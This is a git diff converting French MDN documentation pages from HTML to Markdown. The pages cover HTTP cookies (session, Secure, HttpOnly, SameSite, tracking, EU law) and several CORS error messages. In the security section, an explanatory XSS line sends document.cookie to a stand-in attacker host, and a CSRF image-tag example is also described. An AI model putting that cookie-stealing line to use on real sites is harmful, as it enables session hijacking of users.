Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'API Web storage (localStorage et sessionStorage) et IndexedDB.

+- Gestion des sessions + - : Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir. +- Personnalisation + - : Préférences utilisateur, thèmes, et autres paramètres. +- Suivi + - : Enregistrement et analyse du comportement utilisateur. -
-

Note : Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'Inspecteur de stockage des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).

-
+Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'[API Web storage](/fr/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` et `sessionStorage`) et [IndexedDB](/fr/docs/Web/API/API_IndexedDB). -

Création de cookies

+> **Note :** Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'[Inspecteur de stockage](/fr/docs/Outils/Inspecteur_de_stockage) des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox). -

Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.

+## Création de cookies - +Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé. -

L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:

+### Les entêtes `Set-Cookie` et `Cookie` -
Set-Cookie: <nom-du-cookie>=<valeur-du-cookie>
+L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci: -
-

Note : Voici comme utiliser l'en-tête Set-Cookie dans divers langages de programmation côté serveur : -

-

-
+ Set-Cookie: = -

Exemple de réponse HTTP complète:

+> **Note :** Voici comme utiliser l'en-tête `Set-Cookie` dans divers langages de programmation côté serveur : +> +> - [PHP](https://secure.php.net/manual/en/function.setcookie.php) +> - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) +> - [Python](https://docs.python.org/3/library/http.cookies.html) +> - [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) -
HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
+Exemple de réponse HTTP complète:
 
-[contenu de la page]
+ HTTP/1.0 200 OK + Content-type: text/html + Set-Cookie: yummy_cookie=choco + Set-Cookie: tasty_cookie=strawberry -

Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:

+ [contenu de la page] -
GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}: -

Cookies de session

+ GET /sample_page.html HTTP/1.1 + Host: www.example.org + Cookie: yummy_cookie=choco; tasty_cookie=strawberry -

Le cookie créé ci-dessus est un cookie de session : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive Expires ou Max-Age. Notons cependant que les navigateurs web peuvent utiliser la restauration de session, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.

+### Cookies de session -

Cookies permanents

+Le cookie créé ci-dessus est un *cookie de session* : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive `Expires` ou `Max-Age`. Notons cependant que les navigateurs web peuvent utiliser la **restauration de session**, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé. -

Plutôt que d'expirer quand le client ferme, les cookies permanents expirent à une date spécifique (Expires) ou après un certain temps (Max-Age).

+### Cookies permanents -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+Plutôt que d'expirer quand le client ferme, _les cookies permanents_ expirent à une date spécifique (`Expires`) ou après un certain temps (`Max-Age`). -
-

Note : Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.

-
+ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; -

Cookies Secure et HttpOnly

+> **Note :** Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur. -

Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec Secure, les informations sensibles ne devraient jamais être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (http:) ne peuvent pas définir de cookies avec la directive Secure.

+### Cookies `Secure` et `HttpOnly` -

Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies HttpOnly, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option HttpOnly doit être définie.

+Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec `Secure`, les informations sensibles ne devraient _jamais_ être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (`http:`) ne peuvent pas définir de cookies avec la directive `Secure`. -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies `HttpOnly`, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option `HttpOnly` doit être définie. -

Portée des cookies

+ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly -

Les directives Domain et Path définissent la portée d'un cookie : sur quelles URLs les cookies doivent être envoyés.

+### Portée des cookies -

Domain spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de l'hôte de l'emplacement actuel du document, en excluant les sous-domaines. Si Domain est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si Domain=mozilla.org est défini, alors les cookies sont envoyés sur les sous-domaines comme developer.mozilla.org.

+Les directives `Domain` et `Path` définissent la _portée_ d'un cookie : sur quelles URLs les cookies doivent être envoyés. -

Path indique pour quels chemins d'URL on doit envoyer l'entête Cookie. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si Path=/docs est défini, ces chemins seront acceptés :

+`Domain` spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de [l'hôte de l'emplacement actuel du document](/fr/docs/Web/API/Document/location), en **excluant les sous-domaines**. Si `Domain` est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si `Domain=mozilla.org` est défini, alors les cookies sont envoyés sur les sous-domaines comme `developer.mozilla.org`. -
    -
  • /docs
    • -
  • /docs/Web/
    • -
  • /docs/Web/HTTP
    • -
+`Path` indique pour quels chemins d'URL on doit envoyer l'entête `Cookie`. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si `Path=/docs` est défini, ces chemins seront acceptés : -

Cookies SameSite {{experimental_inline}}

+- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` -

Les cookies SameSite laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies SameSite sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.

+### Cookies `SameSite` {{experimental_inline}} -

Accès JavaScript en utilisant Document.cookie

+Les cookies `SameSite` laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies `SameSite` sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs. -

De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété  {{domxref("Document.cookie")}}, et si l'option HttpOnly n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.

+### Accès JavaScript en utilisant `Document.cookie` -
document.cookie = "yummy_cookie=choco";
+De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété  {{domxref("Document.cookie")}}, et si l'option `HttpOnly` n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.
+
+```js
+document.cookie = "yummy_cookie=choco";
 document.cookie = "tasty_cookie=strawberry";
 console.log(document.cookie);
-// affiche "yummy_cookie=choco; tasty_cookie=strawberry"
- -

Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.

+// affiche "yummy_cookie=choco; tasty_cookie=strawberry" +``` -

Sécurité

+Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS. -
-

Note : Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.

-
+## Sécurité -

Piratage de session et XSS

+> **Note :** Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé. -

Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.

+### Piratage de session et XSS -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application. -

L'attribut HttpOnly du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.

+```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` -

Cross-Site Request Forgery (CSRF)

+L'attribut `HttpOnly` du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript. -

Wikipedia mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:

+### Cross-Site Request Forgery (CSRF) -
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+[Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery) mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent: -

Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:

+```html + +``` -
    -
  • Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important.
    • -
  • Il devrait toujours y avoir une confirmation requise pour toute action sensible.
    • -
  • Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée.
    • -
  • Pour plus de conseils de prévention, voir OWASP CSRF prevention cheat sheet.
    • -
+Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques: -

Suivi et confidentialité

+- Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important. +- Il devrait toujours y avoir une confirmation requise pour toute action sensible. +- Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée. +- Pour plus de conseils de prévention, voir [OWASP CSRF prevention cheat sheet](). -

Cookies tiers

+## Suivi et confidentialité -

Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (first-party cookie). Si le domaine est différent, on parle de cookie tiers (third-party cookie).

+### Cookies tiers -

Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les types de cookies utilisés par Google. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, Privacy Badger par EFF).

+Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (_first-party cookie_). Si le domaine est différent, on parle de cookie tiers (_third-party cookie_). -

Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article cookie statement de Wikipedia.

+Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les [types de cookies utilisés par Google](https://www.google.com/policies/technologies/types/). La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, [Privacy Badger](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/) par [EFF](https://www.eff.org/)). -
    -
+Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article [cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement) de Wikipedia. -

Do-Not-Track

+### Do-Not-Track -

Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.

+Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations. -

Directive de l'UE sur les cookies

+### Directive de l'UE sur les cookies -

Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la Directive 2009/136/EC du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.

+Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la [Directive 2009/136/EC](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136) du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre. -

Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.

+Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies. -

Pour en savoir plus, voir cette section Wikipedia et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.

+Pour en savoir plus, voir [cette section Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive) et consultez les lois de l'état pour avoir des informations plus récentes et plus précises. -

Cookies Zombie et Evercookies

+### Cookies Zombie et Evercookies -

Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'API Web storage, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.

+Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'[API Web storage](/en-US/docs/Web/API/Web_Storage_API "DOM Storage"), les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée. - +- [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie) +- [Zombie cookies sur Wikipedia](https://en.wikipedia.org/wiki/Zombie_cookie) -

Voir aussi

+## Voir aussi - +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecting cookies using the Storage Inspector](/en-US/docs/Tools/Storage_Inspector) +- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md index e113a3438b..37bf96589a 100644 --- a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md +++ b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md @@ -12,32 +12,30 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Symptomes

+## Symptomes -
Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »
+ Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz » -

Quel est le problème ?

+## Quel est le problème ? -

En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.

+En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}. -

Cette erreur peut également se produire si la réponse contient plus d'un en-tête Access-Control-Allow-Origin.

+Cette erreur peut également se produire si la réponse contient plus d'un en-tête `Access-Control-Allow-Origin`. -

Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête Access-Control-Allow-Origin, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.

+Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête `Access-Control-Allow-Origin`, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile. -

Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <Directory>, <Location>, <Files>, ou <VirtualHost>). La configuration se trouve généralement dans un fichier .conf (httpd.conf et apache.conf sont des noms couramment attribués à ces fichiers), ou dans un fichier .htaccess.

+Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée ``, ``, ``, ou ``). La configuration se trouve généralement dans un fichier `.conf` (`httpd.conf` et `apache.conf` sont des noms couramment attribués à ces fichiers), ou dans un fichier `.htaccess`. -
Header set Access-Control-Allow-Origin 'origin-list'
+ Header set Access-Control-Allow-Origin 'origin-list' -

Pour Nginx, la commande pour mettre en place cet entête est :

+Pour Nginx, la commande pour mettre en place cet entête est : -
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ add_header 'Access-Control-Allow-Origin' 'origin-list' -

Voir aussi

+## Voir aussi - +- [Erreurs CORS](https://developer.mozilla.org/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire : {{Glossary("CORS")}} +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md index 1745ec854f..2e32ab6224 100644 --- a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md +++ b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md @@ -16,20 +16,18 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed original_slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Raison

+## Raison -
Raison: la requête CORS a échoué
+ Raison: la requête CORS a échoué -

Qu'est ce qui ne s'est pas bien passé ?

+## Qu'est ce qui ne s'est pas bien passé ? -

La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.

+La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base. -

Voir aussi

+## Voir aussi - +- [Erreurs CORS](/en-US/docs/Web/HTTP/CORS/Errors) +- Grammaire: {{Glossary("CORS")}} +- [Introduction CORS](/en-US/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsdisabled/index.md b/files/fr/web/http/cors/errors/corsdisabled/index.md index f635378215..cdd6928b0f 100644 --- a/files/fr/web/http/cors/errors/corsdisabled/index.md +++ b/files/fr/web/http/cors/errors/corsdisabled/index.md @@ -22,23 +22,23 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSDisabled original_slug: Web/HTTP/CORS/Errors/CORSDesactive --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Raison

+## Raison -
Reason: CORS disabled
-(Raison : CORS désactivé)
+```html +Reason: CORS disabled +(Raison : CORS désactivé) +``` -

Quel est le problème ?

+## Quel est le problème ? -

Une requête HTTP nécessitant le CORS a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.

+Une requête HTTP nécessitant le [CORS](/fr/docs/Glossary/CORS) a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur. -

Pour Firefox, la préférence qui désactive le CORS est content.cors.disable. Définir cette préférence avec true désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur.

+Pour Firefox, la préférence qui désactive le CORS est `content.cors.disable`. Définir cette préférence avec `true` désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur. -

Voir aussi

+## Voir aussi - +- [Les erreurs CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Le terme [CORS](/fr/docs/Glossary/CORS) sur le glossaire +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md index e49b01ae2a..6896531f36 100644 --- a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md +++ b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md @@ -4,46 +4,40 @@ slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Symptomes

+## Symptomes -
 Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.
+ Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant. -

Quel est le problème ?

+## Quel est le problème ? -

La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.

+La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource. -

Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête Access-Control-Allow-Origin.

+Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête `Access-Control-Allow-Origin`. -

Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :

+Par exemple, pour autoriser le site https\://amazing.site à accéder aux resources avec CORS, le header doit être comme suit : -
Access-Control-Allow-Origin: https://amazing.site
+ Access-Control-Allow-Origin: https://amazing.site -

Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique *. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser *, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur anonymous.

+Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique `*`. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser `*`, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur `anonymous`. -
Access-Control-Allow-Origin: *
+ Access-Control-Allow-Origin: * -
-

Attention : Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.

-
+> **Attention :** Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée. -

Pour autoriser n'importe quel site à faire des requêtes CORS sans utiliser le caractère générique * (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête Origin de la requête et l'utiliser dans Access-Control-Allow-Origin, tout en ajoutant une entête Vary: Origin pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.

+Pour autoriser n'importe quel site à faire des requêtes CORS _sans_ utiliser le caractère générique `*` (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête `Origin` de la requête et l'utiliser dans `Access-Control-Allow-Origin`, tout en ajoutant une entête `Vary: Origin` pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine. -

L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <Directory>, <Location>, <Files>, ou <VirtualHost> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un .conf (httpd.conf et apache.conf sont les noms les plus communs) ou un fichier nommé .htaccess.

+L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section ``, ``, ``, ou `` appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un `.conf` (`httpd.conf` et `apache.conf` sont les noms les plus communs) ou un fichier nommé `.htaccess`. -
Header set Access-Control-Allow-Origin 'origin-list'
